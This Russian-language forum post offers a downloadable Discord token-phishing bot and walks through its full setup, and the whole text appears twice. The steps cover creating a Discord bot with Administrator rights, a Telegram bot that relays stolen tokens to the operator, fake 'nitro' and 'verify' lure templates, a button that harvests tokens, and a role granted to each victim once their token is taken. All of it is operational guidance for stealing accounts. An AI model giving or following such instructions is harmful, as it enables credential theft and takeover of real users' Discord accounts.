Увидел на форуме тему с фишингом для телеге, решил тоже сделать вклад в развитие форума, ловите статью по фишингу токенов дискорда)
1.Установка
Установите Node.js последней версии для вашей платформы.
Распакуйте архив с ботом в любое удобное место.
Если у вас Windows, в папке с ботом запустите install.bat.
Если Linux, в командной строке зайдите в папку с ботом, и напишите команду - npm i
Для запуска бота на Windows запустите start.bat.
Для запуска бота на Linux напишите команду - node index.js
link
2.Создание Discord бота
Перейдите на https://discord.com/developers/applications , авторизуйтесь, нажмите на New Application, придумайте ему любое название и сохраните.
Перейдите на вкладку Bot, нажмите на Add Bot.
Нажмите на кнопку Reset Token, подтвердите и сохраните появившийся токен(он понадобится позже).
Уберите галочку (переключатель) с функции Public Bot.
Поставьте галочки (переключатели) на функциях Presence Intent, Server Members Intent, Message Content Intent.
Сохраните.
Перейдите на вкладку OAuth2, выберите подкатегорию URL Generator.
Здесь выберите галочки Bot, а снизу поставьте галочку возле Administrator.
Прокрутите вниз, скопируйте ссылку которая появилась, вставьте в новой вкладке и авторизуйте бота выбрав сервер (У вас должны быть права администратора на этом сервере!).
После авторизации бот появится на вашем сервере.
В папке с ботом найдите файл config.json, если его нет то запустите бота 1 раз, а потом зайдите в файл config.json
Замените Your Discord Bot Token на ваш токен(Он обязательно должен быть в двойных кавычках).
3.Создание Telegram бота
В телеграмме Вам нужно написать боту https://t.me/BotFather для получения токена.
Напишите ему /start и вам выведут список команд.
Выберите /newbot - вас спросят имя бота и никнейм бота (окончание должно быть bot). Выберите любые. После настройки вам выдадут токен, сохраните его в файле config.json заменив Your Telegram Bot Token на этот токен
4.Настройка Telegram
В конфиг файле возле "people" есть массив для рассылки.. Оставьте его ["none"], напишите боту /start и он добавит вас в этот список.
Если вам нужно добавить несколько человек, можете в конфиг файле через запятую писать айди, или в конфиге поставьте "addpeople" на true (вот так: "addpeople": true) и попросите написать боту тем, кого надо добавить. После добавления замените true на false и перезапустите бота - список будет закреплен. Также, можно использовать команду /addpeople для переключения БЕЗ перезагрузки.
Напишите боту /start для получения списка команд.
Перед началом, Вам нужно написать команду /post (Заранее Вы должны были поставить в конфиге "main_channel"!). После использования команды бот напишет в выбранный канал кнопку в соответствии с шаблоном.
5.Настройка темплейтов
В боте присутствуют 2 темплейта, посмотреть/изменить их вы можете по пути /templates/.
В конфиг файле укажите выбранный шаблон, указав его имя папки (nitro/verify).
Также вы можете создать свой шаблон скопировав любой из существующих, заменить все что нужно и в конфиге прописать имя папки.
6.Настройка Discord
Вам необходимо создать канал, куда бот отошлет кнопку для получения токенов.
Скопируйте айди канала нажав ПКМ и выбрав Копировать ID. Айди обязательно должен быть в двойных кавычках, например "1000000000".
Если у вас нету кнопки Копировать ID, то в настройках Discord перейдите во вкладку Расширенные, включите Режим разработчика и попробуйте снова.
Далее, в конфиг файле напротив "main_channel" замените Your Channel ID на скопированный айди (Он должен быть в двойных кавычках, пример "10000000"!).
Следующие функции по желанию:
В боте есть функция присваивания роли после получения токена юзера. Если вам это не нужно, в конфиге напротив "discord_role_after_token" оставьте "none".
Если вам это нужно, вместо none укажите айди роли, предварительно создав её на сервере и скопировав айди нажав ПКМ и выбрав Копировать ID. Айди обязательно должен быть в двойных кавычках, например "1000000000".
Если у вас нету кнопки Копировать ID, то в настройках Discord перейдите во вкладку Расширенные, включите Режим разработчика и попробуйте снова.
Также, в боте есть функция присваивания роли при подключении юзера на сервер. Если вам это не нужно, в конфиге напротив "discord_role_on_join" оставьте "none".
В боте по стандарту устанавливается активность (строка под ником пользователя): Смотрит Giving Nitro's to people
Если Вы хотите это изменить, в конфиге возле настройки "activities" замените name на желаемую активность, а type на тип активности:
0 - Играет
1 - Стримит
2 - Слушает
3 - Смотрит
4 - Custom
5 - Competing
Я без понятия как работают два последних, но если вам это нужно, можете посмотреть в гугле.
В боте по стандарту устанавливается статус Не беспокоить.
Если вы хотите это изменить, в конфиге около "status" замените dnd на тот, который вам нужно:
online - Онлайн
idle - Неактивен
dnd - Не беспокоить
invisible - Невидимка
7.Создание шаблона
Если Вам нужен другой текст, следуйте этой инструкции:
В папке templates продублируйте (Ctrl+C и Ctrl+V) любую из существующих папок, назовите любым именем (без пробелов) и зайдите в index.js этой папки.
Здесь Вы можете изменить текст на любой, добавить картинки и тд. Информация работы с Discord.js находится по ссылке https://discordjs.guide .
После создания шаблона, в конфиг файле пропишите название папки около template.
8.Profit
Всё готово! Запускайте бота посредством команд, приложенных в начале или используя start.bat.
Download
VT
Содержимое архива
1.Установка
Установите Node.js последней версии для вашей платформы.
Распакуйте архив с ботом в любое удобное место.
Если у вас Windows, в папке с ботом запустите install.bat.
Если Linux, в командной строке зайдите в папку с ботом, и напишите команду - npm i
Для запуска бота на Windows запустите start.bat.
Для запуска бота на Linux напишите команду - node index.js
link
2.Создание Discord бота
Перейдите на https://discord.com/developers/applications , авторизуйтесь, нажмите на New Application, придумайте ему любое название и сохраните.

Перейдите на вкладку Bot, нажмите на Add Bot.

Нажмите на кнопку Reset Token, подтвердите и сохраните появившийся токен(он понадобится позже).
Уберите галочку (переключатель) с функции Public Bot.
Поставьте галочки (переключатели) на функциях Presence Intent, Server Members Intent, Message Content Intent.
Сохраните.

Перейдите на вкладку OAuth2, выберите подкатегорию URL Generator.
Здесь выберите галочки Bot, а снизу поставьте галочку возле Administrator.
Прокрутите вниз, скопируйте ссылку которая появилась, вставьте в новой вкладке и авторизуйте бота выбрав сервер (У вас должны быть права администратора на этом сервере!).

После авторизации бот появится на вашем сервере.
В папке с ботом найдите файл config.json, если его нет то запустите бота 1 раз, а потом зайдите в файл config.json
Замените Your Discord Bot Token на ваш токен(Он обязательно должен быть в двойных кавычках).

3.Создание Telegram бота
В телеграмме Вам нужно написать боту https://t.me/BotFather для получения токена.
Напишите ему /start и вам выведут список команд.
Выберите /newbot - вас спросят имя бота и никнейм бота (окончание должно быть bot). Выберите любые. После настройки вам выдадут токен, сохраните его в файле config.json заменив Your Telegram Bot Token на этот токен

4.Настройка Telegram
В конфиг файле возле "people" есть массив для рассылки.. Оставьте его ["none"], напишите боту /start и он добавит вас в этот список.
Если вам нужно добавить несколько человек, можете в конфиг файле через запятую писать айди, или в конфиге поставьте "addpeople" на true (вот так: "addpeople": true) и попросите написать боту тем, кого надо добавить. После добавления замените true на false и перезапустите бота - список будет закреплен. Также, можно использовать команду /addpeople для переключения БЕЗ перезагрузки.
Напишите боту /start для получения списка команд.
Перед началом, Вам нужно написать команду /post (Заранее Вы должны были поставить в конфиге "main_channel"!). После использования команды бот напишет в выбранный канал кнопку в соответствии с шаблоном.
5.Настройка темплейтов
В боте присутствуют 2 темплейта, посмотреть/изменить их вы можете по пути /templates/.
В конфиг файле укажите выбранный шаблон, указав его имя папки (nitro/verify).
Также вы можете создать свой шаблон скопировав любой из существующих, заменить все что нужно и в конфиге прописать имя папки.
6.Настройка Discord
Вам необходимо создать канал, куда бот отошлет кнопку для получения токенов.
Скопируйте айди канала нажав ПКМ и выбрав Копировать ID. Айди обязательно должен быть в двойных кавычках, например "1000000000".
Если у вас нету кнопки Копировать ID, то в настройках Discord перейдите во вкладку Расширенные, включите Режим разработчика и попробуйте снова.
Далее, в конфиг файле напротив "main_channel" замените Your Channel ID на скопированный айди (Он должен быть в двойных кавычках, пример "10000000"!).

Следующие функции по желанию:
В боте есть функция присваивания роли после получения токена юзера. Если вам это не нужно, в конфиге напротив "discord_role_after_token" оставьте "none".
Если вам это нужно, вместо none укажите айди роли, предварительно создав её на сервере и скопировав айди нажав ПКМ и выбрав Копировать ID. Айди обязательно должен быть в двойных кавычках, например "1000000000".
Если у вас нету кнопки Копировать ID, то в настройках Discord перейдите во вкладку Расширенные, включите Режим разработчика и попробуйте снова.
Также, в боте есть функция присваивания роли при подключении юзера на сервер. Если вам это не нужно, в конфиге напротив "discord_role_on_join" оставьте "none".
В боте по стандарту устанавливается активность (строка под ником пользователя): Смотрит Giving Nitro's to people
Если Вы хотите это изменить, в конфиге возле настройки "activities" замените name на желаемую активность, а type на тип активности:
0 - Играет
1 - Стримит
2 - Слушает
3 - Смотрит
4 - Custom
5 - Competing
Я без понятия как работают два последних, но если вам это нужно, можете посмотреть в гугле.
В боте по стандарту устанавливается статус Не беспокоить.
Если вы хотите это изменить, в конфиге около "status" замените dnd на тот, который вам нужно:
online - Онлайн
idle - Неактивен
dnd - Не беспокоить
invisible - Невидимка
7.Создание шаблона
Если Вам нужен другой текст, следуйте этой инструкции:
В папке templates продублируйте (Ctrl+C и Ctrl+V) любую из существующих папок, назовите любым именем (без пробелов) и зайдите в index.js этой папки.
Здесь Вы можете изменить текст на любой, добавить картинки и тд. Информация работы с Discord.js находится по ссылке https://discordjs.guide .
После создания шаблона, в конфиг файле пропишите название папки около template.
8.Profit
Всё готово! Запускайте бота посредством команд, приложенных в начале или используя start.bat.
Download
VT
Содержимое архива
